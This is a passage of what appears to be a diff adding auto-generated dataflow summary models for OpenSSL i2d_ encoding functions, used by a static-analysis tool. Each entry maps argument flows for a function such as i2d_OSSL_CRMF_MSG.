OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTID", "(const OSSL_CRMF_CERTID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTREQUEST", "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_CERTTEMPLATE", "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID", "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDKEY", "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_ENCRYPTEDVALUE", "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSG", "(const OSSL_CRMF_MSG *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_MSGS", "(const OSSL_CRMF_MSGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_OPTIONALVALIDITY", "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PBMPARAMETER", "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKIPUBLICATIONINFO", "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PKMACVALUE", "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPO", "(const OSSL_CRMF_POPO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOPRIVKEY", "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEY", "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO", "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_PRIVATEKEYINFO", "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CRMF_SINGLEPUBINFO", "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME", "(const OSSL_DAY_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_DAY_TIME_BAND", "(const OSSL_DAY_TIME_BAND *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_HASH", "(const OSSL_HASH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_IETF_ATTR_SYNTAX", "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX", "(const OSSL_INFO_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_INFO_SYNTAX_POINTER", "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_NAMED_DAY", "(const OSSL_NAMED_DAY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_PRIVILEGE_POLICY_ID", "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID", "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGET", "(const OSSL_TARGET *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETING_INFORMATION", "(const OSSL_TARGETING_INFORMATION *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TARGETS", "(const OSSL_TARGETS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_PERIOD", "(const OSSL_TIME_PERIOD *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC", "(const OSSL_TIME_SPEC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_ABSOLUTE", "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_DAY", "(const OSSL_TIME_SPEC_DAY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_MONTH", "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_TIME", "(const OSSL_TIME_SPEC_TIME *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_TIME_SPEC_WEEKS", "(const OSSL_TIME_SPEC_WEEKS *,unsigned char 